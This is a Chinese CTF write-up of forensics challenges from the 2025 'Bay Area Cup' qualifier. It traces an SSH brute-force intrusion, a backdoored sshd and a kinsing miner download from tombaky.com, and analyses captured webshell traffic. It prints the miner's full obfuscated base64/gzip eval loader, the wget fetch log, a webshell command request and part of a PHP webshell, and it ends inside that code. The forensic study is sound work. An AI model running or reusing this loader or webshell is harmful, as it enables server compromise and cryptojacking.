2025年“湾区杯”网络安全大赛初赛

2025年“湾区杯”网络安全大赛初赛

Aristore

Forensics

SilentMiner

Challenge

铛,铛,铛,洞穴里传来铁镐敲击石头的声音。
回答以下问题,每个问题都是一个单独的flag:

  1. 攻击者的ip地址
  2. 攻击者共进行多少次ssh口令爆破失败?
  3. 后门文件路径的绝对路径
  4. 攻击者用户分发恶意文件的域名(注意系统时区)
  5. 挖矿病毒所属的家族(全小写)

注意:每一小问的答案提交的时候需要带上flag{*} 比如答案whoami 需要提交flag{whoami}。答对所有小问后,才会得到该题的 flag。
题目附件链接1:https://pan.baidu.com/s/1HLkthjGvjnRT34hm_Ifkew?pwd=6b9b
题目附件链接2(SilentMiner.7z+BadEmail.zip):https://adnav-data.obs.myhuaweicloud.com:443/wq/%E9%99%84%E4%BB%B6.zip?AccessKeyId=HPUALOBCQTBFQ07YYZGK&Expires=1757481203&Signature=jcX94Vns/CoyOkAAtA6kVN8SS5U%3D

Solution

1

查看日志 /var/log/auth.log

在日志的后半部分,从 Aug 10 09:57:08 开始,出现了大量的 sshd 登录失败记录,所有这些失败记录都指向同一个源 IP 地址。

1
Aug 10 09:57:10 lee-virtual-machine sshd[83179]: Failed password for lee from 192.168.145.131 port 36554 ssh2

在经历了密集的失败尝试后,这个 IP 最终成功登录。

1
Aug 10 10:00:14 lee-virtual-machine sshd[83820]: Accepted password for lee from 192.168.145.131 port 37864 ssh2
1
flag{192.168.145.131}

2

1
2
3
┌──(kali㉿kali)-[~/Desktop]
└─$ grep "Failed password for lee from 192.168.145.131" auth.log | wc -l
257

在攻击者第一次成功登录 (10:00:14) 之后,他进行了一次额外的试探:

1
Aug 10 10:00:44 lee-virtual-machine sshd[83929]: Invalid user kali from 192.168.145.131 port 47584

因此答案是 257+1=258

1
flag{258}

3

攻击者在 10:01:24 成功登录后立即开始了一系列提权和植入后门的操作,将系统正常的 SSH 服务程序替换为了自己的后门程序。

  1. 成功登录:

    1
    Aug 10 10:01:24 lee-virtual-machine sshd[83931]: Accepted password for lee from 192.168.145.131 port 52018 ssh2
  2. 创建恶意文件:攻击者使用 tee 命令在 /usr/sbin 目录下创建了一个名为 sshd 的新文件。tee 的作用是从标准输入读取并写入文件。PWD=/usr/sbin 表明攻击者当时的操作目录是 /usr/sbin。

    1
    Aug 10 10:04:07 lee-virtual-machine sudo:      lee : TTY=pts/0 ; PWD=/usr/sbin ; USER=root ; COMMAND=/usr/bin/tee sshd
  3. 赋予执行权限:

    1
    Aug 10 10:04:23 lee-virtual-machine sudo:      lee : TTY=pts/0 ; PWD=/usr/sbin ; USER=root ; COMMAND=/usr/bin/chmod u+x sshd
  4. 重启服务使后门生效:攻击者多次尝试重启 ssh 服务运行这个被替换的恶意的 sshd 程序。

    1
    Aug 10 10:04:33 lee-virtual-machine sudo:      lee : TTY=pts/0 ; PWD=/usr/sbin ; USER=root ; COMMAND=/usr/sbin/service ssh restart
1
flag{/usr/sbin/sshd}

4

分析 /home/lee/.bash_history 发现下面这部分很明显是攻击者的行为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
sudo apt-get install dnsmasq
ps aux | grep unattended
sudo systemctl stop unattended-upgrades
sudo apt-get install dnsmasq
sudo rm /var/lib/dpkg/lock-frontend
sudo rm /var/lib/dpkg/lock
sudo apt-get install dnsmasq
sudo systemctl stop systemd-resolved
sudo systemctl disable systemd-resolved
sudo tee /etc/dnsmasq.conf > /dev/null << 'EOF'
# 监听所有接口

listen-address=127.0.0.1
# 上游 DNS 服务器

server=8.8.8.8
server=8.8.4.4
# 启用查询日志

log-queries
# 日志到 syslog

log-facility=/var/log/dnsmasq.log
# 缓存大小

cache-size=1000
# 不读取 /etc/hosts(可选)

no-hosts
EOF

sudo cp /etc/resolv.conf /etc/resolv.conf.bak
sudo rm /etc/resolv.conf
sudo tee /etc/resolv.conf > /dev/null << 'EOF'
nameserver 127.0.0.1
EOF

sudo systemctl enable dnsmasq
sudo systemctl start dnsmasq
nslookup google.com
sudo tail -f /var/log/dnsmasq.log
wget baidu.com
sudo tail -f /var/log/dnsmasq.log
ipconfig
sudo apt install net-tools
ipconfig
ifconfig

攻击者安装并配置了 dnsmasq:

1
2
3
4
5
6
sudo tee /etc/dnsmasq.conf > /dev/null << 'EOF'
...
log-queries
log-facility=/var/log/dnsmasq.log
...
EOF

log-queries 这个配置是关键,攻击者开启了 DNS 查询日志功能,并将日志输出到 /var/log/dnsmasq.log。

劫持系统 DNS 解析:

1
2
3
4
sudo rm /etc/resolv.conf
sudo tee /etc/resolv.conf > /dev/null << 'EOF'
nameserver 127.0.0.1
EOF

攻击者强制将系统的 DNS 服务器指向本机,这意味着这台服务器上所有的程序在请求域名时,都会先把请求发给 dnsmasq。

启动服务并监视日志:

1
2
sudo systemctl start dnsmasq
sudo tail -f /var/log/dnsmasq.log

攻击者启动了 dnsmasq 服务,然后立刻开始实时监控 DNS 查询日志。

接下来分析 /var/log/dnsmasq.log,在仔细筛选这份日志后找到了一个极其可疑的条目:

1
2
3
4
Aug 10 10:30:25 dnsmasq[82360]: query[A] tombaky.com from 127.0.0.1
Aug 10 10:30:25 dnsmasq[82360]: forwarded tombaky.com to 8.8.8.8
Aug 10 10:30:25 dnsmasq[82360]: forwarded tombaky.com to 8.8.4.4
Aug 10 10:30:25 dnsmasq[82360]: reply tombaky.com is 149.202.54.93

10:30:25 这个时间点在攻击者成功登录 (10:01:24) 并植入 SSH 后门 (~10:05:35) 之后。这是一个非常合理的时间,攻击者在完成持久化后开始部署他的主要恶意载荷。tombaky.com 这个域名在整个日志中只出现了一次。它不像浏览器流量那样会产生一连串的域名解析请求。这种“一次性”的、独立的查询非常符合恶意软件连接 C2 服务器或矿池的行为特征。而且这个域名非常冷门,不是一个正常的互联网服务。

查找镜像的字符串也可交叉验证:

1
2
3
4
5
6
7
8
9
10
11
--2025-08-10 10:30:25--  http://tombaky.com:4019/SXyq
Resolving tombaky.com (tombaky.com)... 149.202.54.93
Connecting to tombaky.com (tombaky.com)|149.202.54.93|:4019... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8790 (8.6K) [text/plain]
Saving to: ...SXyq...

0K ........ 100% 273M=0s

2025-08-10 10:30:26 (273 MB/s) - ...SXyq... saved [8790/8790]

1
flag{tombaky.com}

5

搜索 SXyq 找到恶意文件然后把它还原出来分析

wqb2025-1

内容如下:

1
2
#!/bin/bash
${@%a} 'e'va''l "$( ${*/K/\(1} p"r"${*^}intf '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' "${@//A}"|${@%u@} ba"s"$'\145'""6\4 -d ${*/?/Ec} | ""gunzip -c )""$@"

解码得到下面的关键片段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# ... (其他代码)

# 检查挖矿进程是否存在
ps -fe|grep -w "kdevtmpfsi" |grep -v grep
if [ $? -ne 0 ];then
# 如果不存在,就下载并运行挖矿程序
download_run_miner
else
# ...
fi

# 检查守护进程是否存在
ps -fe|grep -w "kinsing" |grep -v grep
if [ $? -ne 0 ];then
# 如果不存在,就下载并运行守护进程
download_run_daemon
else
# ...
fi

# ... (其他代码)

所以要么是 kdevtmpfsi 要么是 kinsing ,经尝试得到 flag:

1
flag{kinsing}

综上:

1
2
3
4
5
flag{192.168.145.131}
flag{258}
flag{/usr/sbin/sshd}
flag{tombaky.com}
flag{kinsing}

wqb2025-2

FLAG

1
flag{pTkbtCNm7yhRN5edKCESbfeXRU795kCQ}

checkwebshell

Challenge

小明在日常工作的流量监控中发现一段比较有趣的流量,当他想要提取出来时发现一个有趣的信息,其中包含一个flag快来发现它。

Solution

直接搜索字符串 flag,找到第 696 条流量

wqb2025-3

追踪流:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
POST /shell.php HTTP/1.1
Host: 192.168.144.128:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

shell=system("type flag.txt");
HTTP/1.1 200 OK
Date: Mon, 11 Aug 2025 08:40:43 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/7.3.4
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

<?php
class SM4 {
const ENCRYPT = 1;
private $sk;
private static $FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC];
private static $CK = [
0x00070E15, 0x1C232A31, 0x383F464D, 0x545B6269,
0x70777E85, 0x8C939AA1, 0xA8AFB6BD, 0xC4CBD2D9,
0xE0E7EEF5, 0xFC030A11, 0x181F262D, 0x343B4249,
0x50575E65, 0x6C737A81, 0x888F969D, 0xA4ABB2B9,
0xC0C7CED5, 0xDCE3EAF1, 0xF8FF060D, 0x141B2229,
0x30373E45, 0x4C535A61, 0x686F767D, 0x848B9299,
0xA0A7AEB5, 0xBCC3CAD1, 0xD8DFE6ED, 0xF4FB0209,
0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279
];
private static $SboxTable = [
0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05,
0x2B, 0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62,
0xE4, 0xB3, 0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6,
0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8,
0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35,
0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x0D, 0x2D, 0xEC,
0x84, 0x9B, 0x1E, 0x87, 0xE0, 0x3E, 0xB5, 0x66, 0x48, 0x02, 0x6C, 0xBB, 0xBB, 0x32, 0x83, 0x27,
0x9E, 0x01, 0x8D, 0x53, 0x9B, 0x64, 0x7B, 0x6B, 0x6A, 0x6C, 0xEC, 0xBB, 0xC4, 0x94, 0x3B, 0x0C,
0x76, 0xD2, 0x09, 0xAA, 0x16, 0x15, 0x3D, 0x2D, 0x0A, 0xFD, 0xE4, 0xB7, 0x37, 0x63, 0x28, 0xDD,
0x7C, 0xEA, 0x97, 0x8C, 0x6D, 0xC7, 0xF2, 0x3E, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7,
0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x36, 0x24, 0x07, 0x82, 0xFA, 0x54, 0x5B, 0x40,
0x8F, 0xED, 0x1F, 0xDA, 0x93, 0x80, 0xF9, 0x61, 0x1C, 0x70, 0xC3, 0x85, 0x95, 0xA9, 0x79, 0x08,
0x46, 0x29, 0x02, 0x3B, 0x4D, 0x83, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x1A, 0x47, 0x5C, 0x0D, 0xEA,
0x9E, 0xCB, 0x55, 0x20, 0x15, 0x8A, 0x9A, 0xCB, 0x43, 0x0C, 0xF0, 0x0B, 0x40, 0x58, 0x00, 0x8F,
0xEB, 0xBE, 0x3D, 0xC2, 0x9F, 0x51, 0xFA, 0x13, 0x3B, 0x0D, 0x90, 0x5B, 0x6E, 0x45, 0x59, 0x33
];

public function __construct($key) {
$this->setKey($key);
}
public function setKey($key) {
if (strlen($key) != 16) {
throw new Exception("SM4");
}
$key = $this->strToIntArray($key);
$k = array_merge($key, [0, 0, 0, 0]);
for ($i = 0; $i < 4; $i++) {
$k[$i] ^= self::$FK[$i];
}
for ($i = 0; $i < 32; $i++) {
$k[$i + 4] = $k[$i] ^ $this->CKF($k[$i + 1], $k[$i + 2], $k[$i + 3], self::$CK[$i]);
$this->sk[$i] = $k[$i + 4];
}
}
public function encrypt($plaintext) {
$len = strlen($plaintext);
$padding = 16 - ($len % 16);
